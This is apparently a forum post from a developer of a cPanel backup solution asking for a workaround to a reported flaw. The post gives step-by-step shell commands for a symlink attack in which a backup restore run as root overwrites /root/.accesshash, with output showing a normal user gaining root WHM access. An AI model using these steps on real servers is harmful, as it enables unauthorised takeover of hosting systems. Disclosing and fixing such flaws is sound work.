I am working on a cPanel backup solution at the moment. We are now informed about this exploit.
Exploit : Full ROOT ACCESS to server
1.) create malicious file from, normal user account:
mkdir root echo "hello" > root/.accesshash
2.) Wait for backup to run
3.) Replace root with a symlink:
ln -s /root root
4.) Restore root/.accesshash ( I am running this command as root for this: "cp -rf /backup/.accesshash /home/username/root/")
5.) User now have root access because We overwrote /root/.accesshash. An attacker will be able to login to WHM as root by placing a access hash into this file.
root@cpanel [/home/master]# cat /root/.accesshash hello root@cpanel [/home/master]# ls -l /root/.accesshash -rw-r--r-- 1 master master 3 Nov 20 21:41 /root/.accesshash root@cpanel [/home/master]#
Can somebody advise me on this for a workaround? Thanks in advance.